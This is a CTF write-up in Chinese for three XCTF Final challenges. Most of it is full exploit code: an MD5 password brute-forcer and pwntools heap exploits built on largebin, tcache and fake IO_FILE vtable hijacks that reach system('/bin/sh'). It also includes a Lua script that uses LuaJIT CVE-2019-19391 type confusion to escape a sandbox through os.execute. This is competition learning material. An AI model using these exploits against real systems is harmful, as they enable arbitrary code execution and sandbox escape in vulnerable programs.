分类 XCTF Final 下的文章

house of big

打出了个非预期,找到了一条奇怪的IO_FILE函数利用链——io_wfile_sync,该利用链需要配合一个手动挖出来的libc2.31的one_gadget使用。可迁移性不强(其实所有利用IO_FILE vtable指针的打法都大同小异

三个角色的哈希校验绕过

A: b'AV;\x8b\x02'

B: b'B\xbf\x1b\x1e\x04'

C: b'C%:U\x01'

哈希爆破脚本

from hashlib import md5

i = 2**24 # skip "\x00"

while True:
    #d = b"A"
    #d = b"B"
    d = b"C"
    _input = d + i.to_bytes(4, "little")
    #print(_input)
    tmp = md5(_input).digest()
    if tmp[:3] == b"<D\x00" and b"\x00" not in _input:
        print(i, d + i.to_bytes(4, "little"))
        break
    i += 1

exp:

from pwn import *
import hashlib

#p = process("./pig_patch", env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("172.35.6.13", 8888)
elf = ELF("./pig")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"

# b'AV;\x8b\x02'
# b'B\xbf\x1b\x1e\x04'
# b'C%:U\x01'

def load_peppa():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'AV;\x8b\x02')
    
def load_mummy():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'B\xbf\x1b\x1e\x04')
    
def load_daddy():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'C%:U\x01')
    
    
def add_peppa_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Peppa's message: ")
    p.send(msg)
    
def add_mummy_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Mummy's message: ")
    p.send(msg)
    
def add_daddy_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Daddy's message: ")
    p.send(msg)
    
def show_msg(idx:int):
    p.sendlineafter(b"Choice: ", b"2")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    
def edit_peppa_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Peppa's message: ", msg)
    
def edit_mummy_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Mummy's message: ", msg)
    
def edit_daddy_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Daddy's message: ", msg)
    
def del_msg(idx:int):
    p.sendlineafter(b"Choice: ", b"4")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())

def exp():    
    #load_mummy()
    # leak addr
    #gdb.attach(p, "handle SIGALRM noignore\nb _IO_wfile_sync\nc\n")
    
    for i in range(8):
        add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 0-7
    add_peppa_msg(0x150, b"split\n"*(0x150//0x30)) #peppa 8
    for i in range(8):
        del_msg(i)
    load_mummy()
    load_peppa()
    show_msg(7) # leak libc
    p.recvuntil(b"The message is: ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    global_max_fast = libc_base + 0x1eeb80
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    io_list_all = libc_base + 0x1ec5a0
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("global_max_fast:", hex(global_max_fast))
    show_msg(6) # leak heap
    p.recvuntil(b"The message is: ")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x12590
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    
    # largebin attack
    #edit_peppa_msg(7, ((p64(global_max_fast)+p64(global_max_fast-0x10)) * (0xa0//0x30))) # modify smallbin
    #add_peppa_msg(0xa0, b"a"*((0xa0//0x30) * 0x10)) #peppa 9 trigger unsortedbin
    #gdb.attach(p)
    #pause()
    load_mummy()
    add_mummy_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #mummy 0
    add_mummy_msg(0x410, b"a"*((0x410//0x30) * 0x10)) #mummy 1
    load_peppa()
    add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 9
    load_mummy()
    add_mummy_msg(0x420, b"a"*((0x420//0x30) * 0x10)) #mummy 2
    load_peppa()
    add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 10
    load_mummy()
    del_msg(2)
    
    ## reuse
    load_daddy()
    add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 0
    del_msg(0)
    #gdb.attach(p)
    #pause()
    load_peppa()
    add_peppa_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #peppa 11
    del_msg(11) 
    #gdb.attach(p)
    #pause()
    
    load_mummy()
    add_mummy_msg(0x430, b"a"*((0x430//0x30) * 0x10)) #mummy 3
    del_msg(1)
    load_peppa() # refresh locked_flag
    load_mummy()
    #gdb.attach(p)
    #pause()
    edit_mummy_msg(2, (p64(heap_base+0x12cc0)+p64(io_list_all-0x20)) * (0x420//0x30)) # telescop 0x5555555704e0
    load_daddy()
    
    ## trigger
    add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 1
    print("global_max_fast:", hex(global_max_fast))
    print("io_list_all:", hex(io_list_all))
    target_chunk = heap_base + 0x13080
    print("target_chunk:", hex(target_chunk))
    #gdb.attach(p)
    #pause()

    
    io_str_jumps = libc_base + 0x1ed0e0
    ptr_2_io_wfile_sync = libc_base + 0x1ece40
    io_wfile_jumps = libc_base + 0x1ecde0
    #io_str_jumps = libc_base + 0x1ed320
    print("io_str_jumps:", hex(io_str_jumps))
    print("io_wfile_jumps:", hex(io_wfile_jumps))
    
    
    ## write fake io_file
    
    '''
    # old payload
    payload = p64(0)*2
    payload += p64(0) + p64((binsh-100)//2 +1) #_IO_write_base _IO_write_ptr
    payload += p64(0)*2
    payload += p64((binsh -100)//2) # _IO_buf_end;
    payload += p64(0)*4
    payload += p64(0) # _chain
    payload = payload.ljust((0x88-0x10), b"\x00")
    payload += p64(free_hook) # ptr to 0 for _lock
    payload = payload.ljust((0xa8-0x10), b"\x00")
    payload += p64(2) + p64(3) # _freeres_list _freeres_buf
    payload = payload.ljust((0xc0-0x10), b"\x00")
    payload += p32(0xffffffff)
    payload = payload.ljust((0xd8-0x10), b"\x00")
    payload += p64(io_str_jumps) + p64(system)
    payload = payload.ljust(0xf0, b"\x00")
    '''
    
    one_gadget = libc_base+0xE6C80
    payload = p64(0)*4
    payload += p64(one_gadget) + p64(one_gadget+1) #write_base write_ptr
    payload = payload.ljust(0x88, b"\x00")
    payload += p64(free_hook)
    payload = payload.ljust(0x98, b"\x00")
    payload += p64(target_chunk+0x110) + p64(target_chunk+0xe0) # _codecvt  _wide_data
    payload = payload.ljust(0xd8, b"\x00") + p64(io_wfile_jumps+8*9)
    payload += p64(1)+p64(0)*2+p64(1)+p64(0)*2
    #payload += b"/bin/sh\x00"+p64(0)*1+p64(system)
    payload += p64(target_chunk)+p64(0)*1+p64(system)
    payload = payload[0x10:].ljust(0x150, b"\x00")
    
    part1 = b""
    part2 = b""
    part3 = b""
    
    
    for i in range(7):
        part1 += payload[0x30*i : 0x30*i+0x10]
        part2 += payload[0x30*i+0x10 : 0x30*i+0x20]
        part3 += payload[0x30*i+0x20 : 0x30*i+0x30]
        
    load_peppa()
    edit_peppa_msg(11, part1)
    load_mummy()
    edit_mummy_msg(2, part2+(p64(0)*2)*(0x420//0x30-7))
    load_daddy()
    edit_daddy_msg(0, part3)
    
    print("io_list_all:", hex(io_list_all))
    print("io_str_jumps:", hex(io_str_jumps))
    print("ptr_2_io_wfile_sync:", hex(ptr_2_io_wfile_sync))
    print("io_wfile_jumps:", hex(io_wfile_jumps))
    
    ## trigger system

    #gdb.attach(p, "set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290\nb *0x7ffff7e6b290\nc\n")
    # set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290
    # b *0x7ffff7e6b290
    load_mummy()
    del_msg(0)  
    print("onegadget:", hex(one_gadget))
    # _IO_flush_all_lockp
    # 0x7ffff7e62984
    # 0x7ffff7e62981
    #gdb.attach(p)
    #pause()
    
    p.interactive()
    

if __name__ == "__main__":
    exp()

hardstack

hand burp

from pwn import *
import sys

libc = ELF("./libc-2.27.so")
context.log_level = "debug"

def new(idx:int, size:int):
    p.sendlineafter(b"Your choice: ", b"1")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    
def edit(idx:int, content):
    p.sendlineafter(b"Your choice: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", content)
    
def delete(idx:int):
    p.sendlineafter(b"Your choice: ", b"4")
    p.sendlineafter(b"Index: ", str(idx).encode())
    
def stkof(length, payload):
    p.sendlineafter(b"Your choice: ", b"666")
    p.sendline(str(length))
    p.send(payload)
    
def exp():
    global p
    
    #p = process("./hardstack_patch", env={"LD_PRELOAD":"./libc-2.27.so"})
    p = remote("172.35.6.14", 9999)
    #p.settimeout(1)
    
    #gdb.attach(p, "b *0x400C4C\nc\n") #stkof
    #chunk_list: 0x6020D0
    #stdout: 0x00007ffff7dce760
    #leak: 0x00007ffff7dce090
    
    # attack IO_FILE
    ## prepare
    new(0xf, 0xda0)
    new(0, 0x1) #0
    new(1, 0x1) #1
    new(2, 0x28) #2
    new(3, 0x28) #3
    new(4, 0x28) #4
    new(5, 0x410) #5
    new(6, 0x10) #6 split
    delete(5)
    new(7, 0x2) #6->4
    
    ## build
    delete(0)
    delete(1)
    delete(2)
    delete(3)
    delete(4)
    edit(1, b"\xb0")
    
    new(8, 0x1)
    new(9, 0x1)
    edit(9, b"\xe0")
    edit(7, b"\x30\xdc")
    
    ## get
    new(10, 0x20)
    new(11, 0x20)
    new(12, 0x20)

    edit(12, p64(0x400b20)+p64(0)*3)
    edit(12, p64(0x400a20)+p64(0)*3)

    
    # leak
    new(13, str(0x601FD0))
    malloc = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = malloc - 0x97140
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    system = libc_base + libc.symbols[b"system"]
    gets = libc_base + libc.symbols[b"gets"]
    print("malloc:", hex(malloc))
    print("libc:", hex(libc_base))
    print("binsh:", hex(binsh))
    print("system:", hex(system))
    #new(13, str(0x601FD0))
    edit(12, p64(gets)+p64(0)*3)
    new(14, 0x6020d0)
    p.sendline(b"/bin/sh\x00"+p64(0)*3)
    #gdb.attach(p, "b *0x400b4b")
    edit(12, p64(system)+p64(0)*3)
    new(1, 0x6020d0)

    p.sendline(b"cat flag; cat flag;")
    p.interactive()
    

if __name__ == "__main__":
    while True:
        exp()

lua

套了一个sandbox

LuaJIT版本2.1.0-beta3 2017

复现CVE-2019-19391: https://github.com/LuaJIT/LuaJIT/pull/526

原POC还差写地址的部分

Type confusion 偏移到os.execute来bypass sandbox

exp:

local str = "123456789"
-- local bit = require("bit")
local bit_band   = bit.band
local bit_lshift = bit.lshift
local bit_rshift = bit.rshift
local math_floor = math.floor
local math_frexp = math.frexp
local math_ldexp = math.ldexp
local math_huge  = math.huge
function UInt32sToDouble(low, high)
    local negative = false
    
    if high >= 0x80000000 then
        negative = true
        high = high - 0x80000000
    end
    
    local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20)
    local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 ^ 52
    
    local f
    if biasedExponent == 0x0000 then
        f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022)
    elseif biasedExponent == 0x07FF then
        f = mantissa == 0 and math_huge or(math_huge - math_huge)
    else
        f = math_ldexp(1 + mantissa, biasedExponent - 1023)
    end
    
    return negative and -f or f
end
local obj_address = tonumber(string.format( "%p", str ), 16) + 12
print(string.format( "%p", str ))
address = UInt32sToDouble( obj_address, 0 )
local func = debug.getinfo( 0, ">f", address ).func
print(func)
-- This is supposed to get the environment of the function
-- but it allows us to read memory by formatting the address
-- into a pointer
local length = debug.getfenv( func )
-- Format the address into a pointer
-- prints 4, the length of the string
-- print(string.format( "%p", length))
print("read memory:")
-- print( tonumber( string.format( "%p", length), 16 ) ) 
print(string.format( "%p", length)) 
function read_mem(mem_addr)
    mem_addr = mem_addr - 8
    address = UInt32sToDouble( mem_addr, 0 )
    local func = debug.getinfo( 0, ">f", address ).func
    local length = debug.getfenv( func )
    return string.format( "%p", length)
end 
function exec_addr(e_addr, fake_argv)
    -- e_addr = e_addr - 8 
    address = UInt32sToDouble( e_addr, 0 )
    local func = debug.getinfo( 0, ">f", address ).func
    func(fake_argv)
    print("exec successfully!!!")
end 
-- print(read_mem(obj_address - 4 - 0x10 + 4 ))
function addr_of(fake_obj)
    -- local o_address = tonumber(string.format("%p", fake_obj), 16)
    local o_address = string.format("%p", fake_obj)
    return o_address
end
function todo()
    print("hi,happy.")
end
print("addr of ipairs")
func_addr_of_ipairs = addr_of(ipairs)
print(ipairs)
print("addr of:")
func_addr_of_exec_addr = addr_of(exec_addr)
print(func_addr_of_exec_addr)
print("delta:")
print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_ipairs))
-- print(string.format("0x%x", func_addr_of_real_os_execute -func_addr_of_ipairs ))
-- func_addr_of_real_os_execute -func_addr_of_ipairs = 0x2540
-- print(string.format("0x%x", func_addr_of_load - func_addr_of_ipairs))
-- func_addr_of_load - func_addr_of_ipairs = 0x4b8
-- print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_load))
print("content:")
print(read_mem(func_addr_of_exec_addr))
-- exec_addr(obj_address)
function Sleep(n)
    local t0 = os.clock()
    while os.clock() - t0 <= n do end
 end
-- Sleep(20)
function faking_func() 
    print("fake me!!!")
end
local fake_args = function() print("exe_me!") end
-- load(fake_args)
-- exec_addr
-- exec_addr(addr_of(faking_func) , nil)
-- calc_load_addr = func_addr_of_ipairs + 0x4b8
calc_exec_addr = func_addr_of_ipairs + 0x2540
exec_addr(calc_exec_addr, "cat flag")